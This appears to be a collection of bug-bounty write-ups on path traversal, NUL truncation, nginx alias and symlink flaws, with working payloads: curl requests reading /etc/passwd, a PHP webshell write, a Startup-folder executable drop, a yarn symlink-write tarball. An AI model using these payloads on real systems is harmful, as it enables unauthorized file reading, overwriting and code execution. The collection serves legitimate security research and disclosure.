Specimen #302997 · ruby · 500 · 17 votes · resolved
Program rubySurface other
Root cause
Several Ruby UNIXServer/UNIXSocket/Socket.unix methods did not reject NUL in the path, so '/tmp/socket\0x' is truncated at the C layer to '/tmp/socket', binding/connecting to an unintended socket (CVE-2018-8779).
Method
- Server opens a socket at a path with an embedded NUL suffix
- Client connects to the same prefix with a different NUL suffix
- Both truncate to the same real path and connect
require 'socket'
UNIXServer.open("/tmp/socket\0ruby") {|serv|
c = UNIXSocket.open("/tmp/socket\0sapphire")
s = serv.accept
# connected despite different-looking paths
}
Insight — Wherever untrusted input reaches filesystem or socket paths, test embedded-NUL truncation. Safe wrappers that lstat first (Socket.unix_server_loop) reject the NUL with ArgumentError; the raw open methods did not.
Real-world example
Case-variant encoding bypass (%2E vs %2e) in Total.js
◆ Medium
Specimen #748765 · nodejs-ecosystem · none · 16 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Total.js blacklists the lowercase encoded dot %2e in req.uri.pathname but not the uppercase %2E, so an uppercase-encoded traversal bypasses the filter and reads files outside the public directory.
Method
- Confirm %2e is filtered
- Send the traversal using uppercase %2E instead
- File outside the public dir is served
curl http://TARGET:8000/%2E%2E/debug.js
Insight — Encoding blacklists are frequently case-sensitive: when %2e/%2f are blocked, retry with %2E/%2F, mixed case (%2e%2F), or overlong/unicode variants. A one-line reminder to always fuzz the case of percent-encodings.
Real-world example
Ruby stdlib file APIs accept traversal/NUL in filenames
◆ Medium
Specimen #302298 · ruby · 500 · 15 votes · resolved
Program rubySurface other
Root cause
Ruby Tempfile builds a path from an attacker-influenced basename without stripping ../, so a crafted basename escapes the temp dir; the related Dir bug ignores embedded NUL bytes, truncating paths.
Method
- Pass a basename/prefix containing ../ into Tempfile.new/open/create
- Observe the file is created outside /tmp
- For Dir.* methods, pass a path with an embedded \0 to truncate and operate on a different path
require 'tempfile'
Tempfile.new("/../../home/vagrant/green") # => /tmp/../../home/vagrant/green...
Tempfile.open(['../../home/vagrant/', '.red'])
# Dir NUL truncation (302338):
Dir.entries("/home/vagrant\0yyy") # reads /home/vagrant
Insight — When user input reaches a library filename/prefix/suffix, test both ../ traversal and embedded NUL bytes: many language stdlib file APIs do not sanitize these. The oracle (ENOENT vs ENOTDIR errors) also leaks whether target files/dirs exist.
Real-world example
Static file server follows symlink out of webroot
◆ Medium
Specimen #403703 · nodejs-ecosystem · none · 15 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
simplehttpserver joins the URL path to the webroot and follows symlinks inside it, so a symlink placed in the served directory pointing to ../ exposes files outside the root.
Method
- Create a symlink in the served directory: ln -s ../../ symdir
- Serve the directory
- Browse through symdir/ to reach parent directories
ln -s ../../ symdir
Insight — Even when URL ../ sequences are sanitized, a static server that follows symlinks inside the served directory still breaks webroot confinement; check whether servers resolve symlinks.
Real-world example
nginx alias off-by-slash directory traversal
◆ Medium
Specimen #317201 · vulnerscom · none · 14 votes · resolved
Program vulnerscomSurface web
Root cause
An nginx 'location /static' mapped to 'alias /path/static/' without a trailing slash on the location; because alias concatenates the remaining URI, requesting /static../ escapes the intended directory and serves arbitrary files above it.
Method
- Find a location prefix served via alias (static assets dir)
- Append '../' immediately after the prefix (no slash): /PREFIX../
- Read files outside the intended directory
GET /static../monit/COPYING HTTP/1.1
Host: TARGET
# also try: /static../nginx/cache/ /static../monit/conf/
Insight — Test every static path prefix for the nginx alias off-by-slash bug: request PREFIX followed directly by ../ (e.g. /static../). Present on http vhost here but not https - always test each vhost/scheme. Confirm with Yandex gixy aliastraversal.
Real-world example
Client-side directory traversal: malicious server writes outside sync folder
◆ Medium
Specimen #590319 · nextcloud · 250 · 14 votes · resolved
Program nextcloudSurface desktopChain Server-injected ../ href -> write ~/.bash_profile -> c
Root cause
The Nextcloud Linux sync client trusts the server-supplied file path (DAV href) when writing downloaded files; injecting ../ in the href makes the client write outside the local sync directory.
Method
- Proxy/control the server responses to the client
- In the PROPFIND response insert a d:href with ../ e.g. .../files/user/../.bash_profile
- Serve file content for the subsequent GET
- Client writes the content to ~/.bash_profile instead of ~/Nextcloud/
<d:href>/nextcloud/remote.php/dav/files/user/../.bash_profile</d:href>
Insight — Download/sync clients must sanitize server-provided filenames; a malicious or compromised server can write to arbitrary local paths. Writing ~/.bash_profile yields code execution on next terminal login (limited to new-file creation).
Real-world example
DotNetNuke EventsCalendar arbitrary file download
◆ Medium
Specimen #230870 · deptofdefense · none · 13 votes · resolved
Program deptofdefenseSurface web
Root cause
The DotNetNuke EventsCalendar module's downloaddoc.aspx passes the f parameter directly to a file read, allowing arbitrary file download using an app-relative ~/ path.
Method
- Fingerprint the DNN EventsCalendar module (desktopmodules/eventscalendar/)
- Request downloaddoc.aspx with an f= app-relative path
- Retrieve arbitrary files (e.g. web.config, source)
GET /desktopmodules/eventscalendar/downloaddoc.aspx?f=~/downloaddoc.aspx
(also: ?f=~/web.config)
Insight — Fingerprint known-vulnerable off-the-shelf modules (DNN EventsCalendar) and hit their documented download endpoints with the ~/ app-relative traversal prefix to read arbitrary server files.
Real-world example
awstats.pl config parameter path traversal + IP disclosure
◆ Medium
Specimen #218733 · nextcloud · none · 13 votes · resolved
Program nextcloudSurface webTag file-upload
Root cause
A publicly reachable AWStats CGI (awstats.pl) accepts an attacker-controlled config parameter that is used to build a file path, allowing traversal to arbitrary files, and its output modes (unknownip/alldomains) expose visitor IPs and stats.
Method
- Find awstats.pl exposed under /cgi-bin/
- Use output=unknownip / output=alldomains to dump visitor IPs and per-domain stats without auth
- Abuse the config param with traversal to read server files (e.g. /proc/version)
/cgi-bin/awstats.pl?month=all&year=2017&config=CONFIG&framename=mainright&output=unknownip
/cgi-bin/awstats.pl?output=alldomains&config=/../../../../../../../../../../proc/version&framename=index
Insight — Legacy CGI stats tools (AWStats, Webalizer) are recurring findings: the config/logfile parameter is a path sink and default output modes leak visitor data. Fingerprint /cgi-bin/awstats.pl on in-scope hosts.
Real-world example
Nginx off-by-slash alias misconfiguration (location/alias slash mismatch)
◆ Medium
Specimen #1631350 · nodejs · none · 12 votes · resolved
Program nodejsSurface web
Root cause
An nginx block `location /metrics { alias /home/dist/metrics/; }` has no trailing slash on the location but a trailing slash on the alias, so `/metrics../` resolves to /home/dist/ and exposes the parent directory.
Method
- Identify an aliased location without a trailing slash
- Request <location>../<file> to read the alias's parent directory
- Retrieve home-dir dotfiles (.bashrc, .npmrc, etc.)
https://nodejs.org/metrics../.bashrc
Insight — Audit nginx configs for location/alias trailing-slash mismatch (the off-by-slash pattern from Orange Tsai); request <location>../ to walk up one directory - a config-review-driven find as much as a black-box one.
Real-world example
Cisco ASA WebVPN unauth file/session disclosure (CVE-2018-0296)
◆ Medium
Specimen #695776 · deptofdefense · awarded · 10 votes · resolved
Program deptofdefenseSurface network
Root cause
Cisco ASA WebVPN mishandles the +CSCOU+/../+CSCOE+ magic path, letting an unauthenticated attacker traverse to file_list.json and enumerate directories and active VPN sessions/usernames.
Method
- Send the +CSCOU+/../+CSCOE+/files/file_list.json request with curl --path-as-is
- Add ?path=/sessions to enumerate active sessions/usernames
- Use disclosed info for further targeting
curl -i -k "https://TARGET/+CSCOU+/../+CSCOE+/files/file_list.json?path=/sessions" --path-as-is
Insight — Unauth ASA info-disclosure precursor: the +CSCOU+/../+CSCOE+ path plus file_list.json?path= lists directories and live sessions. Patched hosts return 404. Fingerprint before mass-testing.
Real-world example
Validate-before-normalize ordering flaw reintroduces ../
◆ Medium
Specimen #1765631 · nextcloud · none · 10 votes · resolved
Program nextcloudSurface web
Root cause
getFullPath() calls isValidPath() (which rejects /../) BEFORE normalizePath() converts backslashes to forward slashes. Because validation runs on the pre-normalized string, a payload using backslashes passes the check and normalization then turns it back into a live ../.
Method
- Find a sink that validates a path and then normalizes/canonicalizes it in a separate step.
- Encode the traversal so it is invisible to the validator but reconstituted by the normalizer (e.g. backslashes when normalize replaces \ with /).
- Reach a write sink (newFile/newFolder) to create/overwrite files outside your own storage.
# validator rejects '/../' but not '\..\'; normalizePath() later does str.replace('\\','/')
dir\..\..\filename -> after normalize -> dir/../../filename
Insight — Always check the ORDER of validation vs normalization. If canonicalization (decode, separator-swap, unicode fold) happens AFTER the security check, feed the check a benign-looking string that the later step turns malicious. Fix is to normalize first, then validate.
Real-world example
start_with?() prefix check without separator → sibling-dir escape (RubyGems)
◆ Medium
Specimen #270068 · rubygems · none · 8 votes · resolved
Program rubygemsSurface otherTag file-upload
Root cause
RubyGems install_location guards writes with destination.start_with?(destination_dir) but destination_dir has no trailing separator, so a path whose prefix merely starts with the dir string (e.g. /tmp/install-evil next to /tmp/install) passes the check and writes outside the intended directory.
Method
- Find a write/extract that validates the resolved path with a raw string-prefix comparison (start_with / HasPrefix) against the base dir.
- Craft a path that shares the base as a string prefix but is a sibling directory (append characters after the dir name, no separator).
- For gem install specifically, publish a gem with name='rails' and empty version to make destination_dir='rails-' and overwrite/delete files of rails-* gems (via ../ entries and symlinks in data.tar.gz).
install_location('../install-whatever-foobar/hello.txt', '/tmp/install')
# resolves to '/tmp/install-whatever-foobar/hello.txt' -- passes start_with?('/tmp/install')
# malicious gem tar members:
../rails-letsencrypt-0.5.3/ # delete
../rails-i18n-5.0.4/lib/rails_i18n.rb # overwrite
../rails-html-sanitizer-1.0.3 -> /tmp/attacker-controlled # symlink
Insight — Any 'is this path inside my dir?' check done with string start_with/HasPrefix and no trailing '/' is bypassable by a sibling directory sharing the name prefix. Fix and detection: the base dir must end in a separator before the prefix test. Same class of flaw appears in archive extractors.
Real-world example
LFI via server-side HTML→PDF renderer (file:// XHR)
◆ Medium
Specimen #360727 · nodejs-ecosystem · none · 8 votes · resolved
Program nodejs-ecosystemSurface webChain HTML injection in doc generator → file:// read (and internal
Root cause
markdown-pdf converts user Markdown to HTML and renders it in PhantomJS without sanitizing embedded HTML/JS; injected script runs in the headless browser with file:// access and reads local files into the generated PDF (server-side LFI/SSRF via document generation).
Method
- Supply Markdown/HTML containing a <script> that XHRs a file:// URL and writes the response into the document body.
- Trigger conversion to PDF.
- Open the produced PDF to read the exfiltrated local file.
# this is h1
<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>
Insight — Any feature that renders user-controlled HTML/Markdown in a headless browser (PhantomJS/Chromium/wkhtmltopdf) is an LFI/SSRF sink: script executes server-side with file:// and internal-network reach. Test with file:///etc/passwd and http://169.254.169.254 in an injected <script> or <iframe>. Fix is HTML-encoding untrusted content and disabling local file/JS access in the renderer.
Real-world example
Path traversal into unlink() → authenticated arbitrary file delete (ImpressCMS)
◆ Medium
Specimen #1081878 · impresscms · none · 7 votes · resolved
Program impresscmsSurface web
Root cause
In image-edit.php the image_temp parameter is concatenated into a filesystem path passed to copy()/unlink() without sanitization, letting an authenticated user traverse out of the temp dir and delete (and, via copy-before-delete, potentially disclose) arbitrary files the web server can access.
Method
- Log in as any user (low privilege is enough).
- Call image-edit.php with op=save and image_temp set to a ../ path to a target file.
- The target is copied into the imagemanager logos dir and then unlinked — deleting e.g. mainfile.php to DoS the site; if directory listing is on, the copied file discloses content.
http://TARGET/libraries/image-editor/image-edit.php?op=save&image_id=1&image_temp=../../../mainfile.php
Insight — File-manipulation params ending in _temp/_file/_path that feed unlink()/copy()/rename() are traversal sinks even when read endpoints are hardened. A copy-then-delete flow can be abused to move a sensitive file into a web-readable dir (chase directory listing) before it is removed.
Real-world example
Unintended require() — user-controlled dynamic module path
◆ Medium
Specimen #538938 · nodejs-ecosystem · none · 6 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
An Express route passes a user-supplied value straight into require() (require(req.params.id)); require resolves relative/absolute paths, so an attacker controls which module/JSON file is loaded and, because the result is echoed, reads arbitrary JSON files and can force unintended code to execute.
Method
- Find an endpoint that dynamically require()s a user-supplied name/id.
- Supply a relative path (URL-encoded) to a JSON file to read it back in the response.
- Point at non-production modules/files to load code not meant to run.
http://TARGET:43569/plugins/.%2Fpackage.json
# require('./package.json') -> contents returned in JSON response
Insight — require(x) with attacker-controlled x is both a file-read (JSON is parsed and can be echoed) and a code-load primitive. Grep server code for require(req... / require(`${...}`). Encode ./ as .%2F to survive routing. Distinct from readFile traversal because require resolves .json and .js and executes the latter.
Real-world example
Denylist/ignore bypass via case folding on case-insensitive filesystems
◆ Medium
Specimen #330650 · nodejs-ecosystem · none · 5 votes · resolved
Program nodejs-ecosystemSurface web
Root cause
An application enforces an 'ignore'/denylist by exact-string path comparison while the underlying (macOS/Windows) filesystem is case-insensitive, so an alternate-case path resolves to the same file but skips the filter.
Method
- Identify a protected file/dir blocked by name (returns 404/Not Found)
- Confirm URL-encoding of chars is still blocked (%65 = e still 404)
- Request the same path with different letter case
- File content / directory listing is served
curl --path-as-is 'http://TARGET/secret.html' # Not Found
curl --path-as-is 'http://TARGET/s%65cret.html' # Not Found
curl --path-as-is 'http://TARGET/sECret.html' # served!
curl --path-as-is 'http://TARGET/sEc' # lists ignored dir
Insight — Whenever a path/name denylist is compared case-sensitively but served from a case-insensitive FS, try upper/mixed case (and Unicode case-folding pairs) to reach 'ignored' files, .git, backups, admin paths.
Real-world example
URL-encoded ..%2f / %2e%2e traversal (server decodes then joins)
◆ Medium
Specimen #296254 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
When a server URL-decodes the path before building the filesystem path, encoded dot-slash (..%2f) or encoded dots (%2e%2e) survive any literal '../' filter and re-materialize as traversal after decoding.
Method
- Identify a static/file endpoint that decodes the URL path
- Replace literal ../ with %2e%2e/ or ..%2f to slip past naive '../' string filters
- Request the target file
curl "http://TARGET:PORT/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd"
curl "http://TARGET:PORT/..%2f..%2fetc/passwd"
Insight — Always try encoded variants when a plain ../ is blocked: %2e%2e, ..%2f, ..%5c (Windows), and double-encoding %252e%252e when there is an extra decode layer. The filter runs on the raw string but the file op runs after decode.
Real-world example
Symlink in web root escapes served directory
◆ Medium
Specimen #530289 · nodejs-ecosystem · none · 4 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
Static servers that follow symlinks and only sanitize the URL path (not the resolved target) serve files a symlink points to, even outside the web root. Anyone who can drop a symlink into the served dir (or ship one in a package/upload) reads arbitrary files.
Method
- Create a symlink inside the served directory pointing at a sensitive file
- Request the symlink name over HTTP
- Server dereferences it and returns the out-of-root file
ln -s ../../../../../etc/passwd sympasswd # or: ln -s /etc/shadow test_shadow
curl --path-as-is http://TARGET:PORT/sympasswd
Insight — When path sanitization looks correct, check symlink handling: resolve with realpath and confirm the final target is still under root. Relevant anywhere attacker-controlled files land in a served/extracted dir (uploads, git repos, npm packages).
Real-world example
Nginx off-by-slash alias misconfiguration
◆ Medium
Specimen #1650273 · ibb · awarded · 4 votes · resolved
Program ibbSurface webTag file-upload
Root cause
An nginx `location /prefix` (no trailing slash) mapped to `alias /path/dir/;` lets a request to /prefix../ resolve to /path/, escaping the intended directory — the missing trailing slash on the location means the matched prefix is not stripped, so ../ climbs one level of the alias target.
Method
- Find a location block whose path lacks a trailing slash but whose alias has one
- Append ../ right after the prefix to climb out of the aliased directory
- Read files in the parent (e.g. home dir dotfiles)
# location /metrics { alias /home/dist/metrics/; }
https://TARGET/metrics../.bashrc
https://TARGET/metrics../ (directory listing if autoindex on)
Insight — Audit nginx configs for the alias off-by-slash pattern: any `location /x` (no /) + `alias .../y/;`. Probe /x../ , /x..%2f , /x../../ . Classic Orange Tsai 'Breaking Parser Logic' finding — check autoindex for free dir listing.
Real-world example
MariaDB CLI client path traversal → dlopen local file as plugin (code exec)
◆ Medium
Specimen #637840 · mariadb · none · 4 votes · resolved
Program mariadbSurface otherChain malicious server → client path traversal → dlopen constructoTag file-upload
Root cause
The MariaDB command-line client builds the client-auth-plugin .so path from a server-supplied plugin name without confining it, so a malicious server can direct dlopen() to an arbitrary on-disk path; padding the name with '/' makes strxnmov drop the .so extension so any file (e.g. one with a __attribute__((constructor))) can be loaded and executed.
Method
- Victim connects with the mysql/mariadb client to an attacker-controlled server
- Server returns a plugin name containing ../ traversal to a known local file path
- Pad the path with trailing / so strxnmov truncates the appended .so
- Client dlopen()s the file; its constructor/init runs → code execution
# server-chosen client_plugin name (conceptual):
../../../../path/to/attacker_or_known.so/////
# any ELF with __attribute__((constructor)) runs on dlopen
Insight — Client-side traversal matters too: a 'connect to my server' primitive plus a path-controlled dlopen/LoadLibrary is RCE. Watch for length-truncating string ops (strxnmov/strncpy) that let you shave a forced suffix by padding.
Real-world example
Path traversal in template/skin selector -> LFI to RCE
◆ Medium
Specimen #39428 · phabricator · awarded · 2 votes · resolved
Program phabricatorSurface webChain file write primitive (upload/ssh/tmp) -> path traversal iTag file-upload
Root cause
A user-controlled 'skin' name is concatenated into a filesystem path used to include PHP template files, with no check that the resolved path stays under the app root, so ../ sequences load attacker-controlled PHP from anywhere on disk.
Method
- Create a blog and set the skin field to a traversal path pointing outside the skins dir.
- URL-encode the ../ and target dir to survive input handling.
- Place a valid skin structure (header.php etc.) with PHP payload at the target path (any spot you can write: /tmp, an upload dir).
- Render the blog; the included header.php executes (phpinfo() PoC).
POST /phame/blog/new/ HTTP/1.1
Content-Type: application/x-www-form-urlencoded
__csrf__=...&name=xxxx&skin=%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%74%6d%70%2f%74%65%73%74
# -> includes .../externals/skins/../../../../../../../../../../tmp/test/header.php
Insight — Any 'theme/skin/template/plugin' selector that maps a name to an include path is an LFI candidate; combine with any file-write primitive (upload, log, /tmp) to reach RCE. Test with ../ (url- and double-url-encoded) and confirm via a benign phpinfo template.
Real-world example
Embedded NUL truncation bypasses path allow-list checks
◆ Medium
Specimen #805010 · ibb · awarded · 2 votes · resolved
Program ibbSurface otherTag file-upload
Root cause
On Windows, PHP link() accepted filenames containing a \0 byte and treated the string as terminating there; an application that validates the full path string (e.g. checks extension/prefix) is bypassed because the OS acts on the truncated path.
Method
- Find a file operation where user input is validated as a string but passed to a C/OS call that stops at NUL
- Append \0 plus an allowed suffix so validation sees allowed.ext but the syscall sees the real path
- Read/write/link a file outside the intended set
// application allows only *.ext; attacker supplies:
$path = "/secret/config.php\0dummy.ext";
link($target, $path); // validator sees ...dummy.ext, Windows link() acts on /secret/config.php
// generic probe: TARGET%00.allowedext
Insight — Null-byte truncation is not dead: it resurfaces wherever a language-level string check precedes an OS/C call. Fuzz file/path parameters with %00 followed by an allowed extension whenever an app enforces path/extension allow-lists, especially on Windows APIs.
Real-world example
Arbitrary file write on `yarn install` via out-of-root symlink + tar transform (CVE-2020-8131)
◆ Medium
Specimen #730239 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface otherChain malicious package → symlink traversal on extract → tar-transTag file-uploadTag supply-chain
Root cause
Yarn extracted package tarballs without rejecting symlinks that point outside the install dir. A malicious package ships a symlink (via ../ traversal) to a target path, then uses a tar path-transform so a second archive entry is written *through* that symlink, giving arbitrary filesystem write during install — even with --ignore-scripts.
Method
- In the package, create a symlink my-file -> ../../../../../../tmp/target (absolute paths get the leading / stripped, so use ../ traversal)
- Publish; yarn preserves the traversal symlink on extract
- Use `tar --transform` so an archive entry is extracted onto the symlink path, writing through it to the external target
- Write to .bashrc/.npmrc/authorized_keys etc. → RCE
ln -s ../../../../../../../../../../../../tmp/my-file package/my-file
gtar --transform='s|package/my-file|package/my-file|' -cvzf pkg.tgz package/package.json package/my-file
# yarn install writes through the symlink to /tmp/my-file (or ~/.bashrc)
Insight — Any archive extractor (npm/yarn/pip/tar/zip) that trusts symlink entries is vulnerable to symlink-then-write. Combine a traversal symlink with a second entry that lands on it. Absolute-path symlinks get sanitized, so use ../ chains. Applies to CI installing untrusted packages.
Real-world example
Client-side download traversal via Content-Disposition filename
◆ Medium
Specimen #772509 · nodejs-ecosystem · none · 2 votes · resolved
Program nodejs-ecosystemSurface otherChain malicious server → Content-Disposition ../ → write to autostTag file-upload
Root cause
node-downloader-helper derived the save path from the server-supplied Content-Disposition filename without sanitizing ../, so a malicious server chooses where the downloaded file lands on the victim's disk — escalating to RCE by writing to a Windows Startup folder or ~/.ssh/authorized_keys.
Method
- Victim's app downloads a file from an attacker-controlled server
- Server returns Content-Disposition with a filename containing ../ traversal
- The library writes the file to the attacker-chosen path outside the download dir
- Drop into a Startup folder (Windows) or authorized_keys (Linux) for code execution
Content-Disposition: attachment; filename="../../../../../../AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/evil.exe"
Insight — Download clients are a traversal sink: never trust Content-Disposition filename or a redirect's final path segment for the save location. Test any HTTP client library / mobile app that saves server-named files with ../ in the filename.
Real-world example
Partial (extension-constrained) traversal in SPA static server
◆ Medium
Specimen #355501 · nodejs-ecosystem · none · 1 votes · resolved
Program nodejs-ecosystemSurface webTag file-upload
Root cause
The servey SPA server serves the requested path but falls back to index.html for extensionless requests; so extensionless files (/etc/passwd) fail while any file WITH an extension (/etc/hosts.allow) is read via traversal. A 'partial' traversal is still full arbitrary read of any file that happens to have an extension.
Method
- Request an extensionless target (/etc/passwd) -> 500 (falls back to index.html open)
- Request any file with an extension (/etc/hosts.allow) via ../ -> 200 with file contents
curl -v --path-as-is localhost:8080/../../../../../../etc/hosts.allow
Insight — Don't write off a static-server as safe because /etc/passwd fails. Extension-based routing/fallback can mask a real arbitrary-read; pivot to files that carry an extension (.conf, .png, .log, config.php) to prove impact.
Real-world example
PHP LFI via readfile() with attacker-controlled prefix and appended suffix (ZendTo graph.php)
◆ Medium
Specimen #492767 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
graph.php builds a path as RRD_DATA_DIR . $_GET['m'] . $period . '.png' and passes it to is_readable()/readfile() unfiltered. The m parameter injects ../ traversal; the appended '.png' suffix limits reads to files whose name can be terminated (older PHP null-byte, or targets already ending in the suffix / long-path truncation).
Method
- Locate the file-reading endpoint (graph.php) that echoes/streams a file named from a GET param
- Inject ../ traversal in the m param to reach a known file under an icons dir as a harmless PoC
- Escalate to source/config reads where the appended .png suffix can be bypassed
GET /graph.php?p=7&m=../../../../../../usr/share/apache2/icons/pie HTTP/1.1
# vulnerable sink:
# if ( is_readable($path = RRD_DATA_DIR.$metric.$period.'.png') ) { readfile($path); }
Insight — When a file param is wrapped with a fixed suffix/prefix, traversal is still exploitable: aim at files that legitimately end in the suffix, or use suffix-stripping tricks (null byte on old PHP, path length truncation). Version-fingerprint the library (ZendTo <5.16-6) to know the known-CVE traversal exists.
Real-world example
Arbitrary directory browsing via CGI DIR parameter
◆ Medium
Specimen #686343 · deptofdefense · none · 1 votes · resolved
Program deptofdefenseSurface webTag file-upload
Root cause
A legacy CGI script (display_directory_*.cgi) takes a DIR parameter and lists its contents with no confinement, so pointing DIR at absolute system paths (/etc, /var, /var/lib) enumerates the entire filesystem tree above the web root.
Method
- Find CGI/handler that renders a directory listing from a user-supplied path param (DIR, path, dir, folder)
- Set the param to an absolute sensitive path (/etc, /var/lib) to browse server internals
GET /aerosol-bin/PATH/display_directory_X_t.cgi?DIR=/etc HTTP/1.1
GET /aerosol-bin/PATH/display_directory_X_t.cgi?DIR=/var/lib HTTP/1.1
Insight — Directory-browsing endpoints that accept a path parameter often accept absolute paths, not just ../ relative traversal. Always try a bare absolute path (DIR=/etc) in addition to ../ sequences; a listing primitive maps the filesystem for follow-up file reads.
Real-world example
Windows drive-relative path (C:file) defeats middleware path validation (PHP TS)
◆ Medium
Specimen #797159 · ibb · awarded · votes · resolved
Program ibbSurface webChain drive-relative write -> file into Startup folder -> coTag file-upload
Root cause
On Windows, 'C:file' is a drive-RELATIVE path (relative to the drive's current dir), not absolute. PHP built with thread-safe support resolved such paths to the drive ROOT instead of the process CWD. So an app that normalizes 'C:secret.txt' and checks it is within CWD passes it, but PHP then opens C:\secret.txt.
Method
- App receives a user path like 'C:secret_data.txt' (no separator after the drive letter)
- App normalizes/validates it as being within its working dir and allows it
- PHP-TS opens the file at the drive root (C:\secret_data.txt) instead, escaping the confinement
# process CWD = C:/Web/uploads ; supplied path = C:secret_data.txt
# app resolves to C:/Web/uploads/secret_data.txt (validated OK)
# PHP-TS actually accesses C:/secret_data.txt
# write variant -> C:\Users\<USER>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup
Insight — On Windows targets, drive-relative paths ('C:name', no backslash) are a distinct traversal class from ../ - a validator's notion of the resolved path can disagree with the runtime's. Test 'C:filename' inputs; if writable, drop a file into the Startup folder for persistence/RCE at next logon.
Real-world example
Image-save API with attacker-controlled filename+ext + traversal -> webshell write
◆ Low
Specimen #191884 · x · none · 99 votes · resolved
Program xSurface webTag file-upload
Root cause
An unauthenticated saveImage.php API accepted image, filename and extension params and wrote the file without validation; path traversal in filename plus a php extension escapes the upload dir and the 'preview-' prefix to plant an arbitrary file.
Method
- Observe the normal POST image=...&filename=test&extension=png writing preview-test.png
- Set filename to /../../zigoo and extension to php to escape the directory and prefix
- Retrieve the written /view/data/zigoo.php
- Abuse traversal to overwrite index.php / drop .htaccess (defacement/DoS); RCE if content is served as PHP
POST /api/actions/saveImage.php
image=SomeContent&filename=/../../zigoo&extension=php
Insight — File-generation endpoints (thumbnail/preview/export) that trust a client-supplied filename+extension are arbitrary-write primitives - test ../ traversal and a script extension. Even without confirmed RCE this gives overwrite/deletion/defacement and disk-exhaustion DoS.
Real-world example
Partial path traversal via abspath()+startswith() containment check
◆ Low
Specimen #3328367 · django · none · 38 votes · resolved
Program djangoSurface apiTag file-upload
Root cause
A containment guard that resolves paths with os.path.abspath() (which strips the trailing separator) and then checks startswith(base) is fooled by a sibling directory sharing the base name prefix.
Method
- Base dir is /var/lib/; abspath yields /var/lib (no trailing slash)
- Supply archive entry name /var/library/test.txt
- '/var/library/...'.startswith('/var/lib') is True, so the guard passes
- File is written into /var/library, outside the intended base
import os
target_path = os.path.abspath('/var/lib/') # -> '/var/lib'
filename = os.path.abspath(os.path.join(target_path, '/var/library/test.txt'))
if not filename.startswith(target_path): # False -> guard bypassed
raise Exception
Insight — Any startswith/HasPrefix containment check without a trailing os.sep is bypassable by a sibling dir whose name starts with the base name (/var/lib -> /var/library). Always append the separator or use os.path.commonpath / relpath boundary checks.
Real-world example
Backslash-encoded traversal as file-existence oracle
◆ Low
Specimen #33935 · security · awarded · 17 votes · resolved
Program securitySurface web
Root cause
Encoded backslash traversal sequences slip past path normalization; existing vs non-existing target paths produce different responses (app error vs 404), yielding a file-existence oracle.
Method
- Craft a URL mixing // and %5C (backslash) with ../ sequences pointing at a known file
- Request a path to a real system file vs an obviously fake one
- Compare responses: real path -> app 'file not found' error, fake path -> 404 redirect
https://TARGET//%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd -> app error (path resolved)
https://TARGET//%5C../%5C../%5C../%5C../%5C../%5C../etc/passwd_DOESNTEXIST -> 404
Insight — Even without file read, differential responses to encoded traversal reveal whether a path exists. Try %5C (backslash) and double-slash variants when %2e/%2f are filtered.
Real-world example
Android IPC file handler path-validation bypass (ownCloud)
◆ Low
Specimen #1650270 · owncloud · 50 · 14 votes · resolved
Program owncloudSurface mobile-android
Root cause
ReceiveExternalFilesActivity insufficiently validates externally supplied Uris/filenames; a filter blocking /data + packagename paths is bypassed via cache-dir-relative ../ and content:// provider URIs, and plain-text uploads build the destination path from an unsanitized user filename.
Method
- Send an ACTION_SEND intent with a crafted STREAM Uri to the exported activity
- Bypass the filter using getCacheDir()/../ or a content:// provider Uri to reach shared_prefs/logs
- Or send EXTRA_TITLE with ../ to write an attacker .txt file into internal storage
adb shell am start -n com.owncloud.android/.ui.activity.ReceiveExternalFilesActivity -t text/plain -a android.intent.action.SEND --eu android.intent.extra.STREAM "file:///data/user/0/com.owncloud.android/cache/../shared_prefs/com.owncloud.android_preferences.xml"
# write variant:
--es android.intent.extra.TEXT "data" --es android.intent.extra.TITLE "../shared_prefs/test"
Insight — Android path filters that check substrings (contains /data, package name) are bypassed with cache-dir-relative ../, content:// provider URIs, and collapsing sequences like .../...// (replace-based filters leave ../).
Real-world example
Android internal-storage path filter bypass via /data/user/0 alias
◆ Low
Specimen #1408692 · nextcloud · 250 · 11 votes · resolved
Program nextcloudSurface mobile-android
Root cause
A fix blocked uploads whose storagePath starts with /data/data/; the equivalent alias /data/user/0/<pkg>/ points to the same app-private directory and is not blocked, so private files can still be exfiltrated through the share/upload flow.
Method
- Build a malicious app returning a file:// Uri to Nextcloud's private storage via /data/user/0/
- Share it into Nextcloud to a publicly shared folder
- The app-private file (shared_prefs) uploads and leaks
file:///data/user/0/com.nextcloud.client/shared_prefs/com.nextcloud.client_preferences.xml
Insight — Android exposes multiple aliases to app-private storage - /data/data/<pkg> and /data/user/0/<pkg> resolve to the same place; prefix/startsWith path filters that block only one alias are trivially bypassed by the other.
Real-world example
Adobe AEM QueryBuilder path listing via .json.css dispatcher bypass
◆ Low
Specimen #1313040 · gsa_vdp · none · 11 votes · resolved
Program gsa_vdpSurface web
Root cause
An exposed Adobe AEM QueryBuilder JSON servlet lets the path parameter enumerate arbitrary content/filesystem paths; the extra .css (or .html) extension bypasses the AEM dispatcher's URL filter.
Method
- Identify AEM (dispatcher, /bin/querybuilder)
- Request /bin/querybuilder.json.css with a chosen path and unlimited hits
- Read directory/content listings for /home, /etc, etc.
https://TARGET/bin/querybuilder.json.css?path=/home&p.hits=full&p.limit=-1
Insight — On AEM, append a benign-looking extension (.css/.html/.ico) to a restricted servlet path to bypass dispatcher allowlists, then use querybuilder.json's path= parameter to enumerate the tree.
Real-world example
SFTP tilde-prefix path resolution discrepancy for filter bypass (CVE-2023-27534)
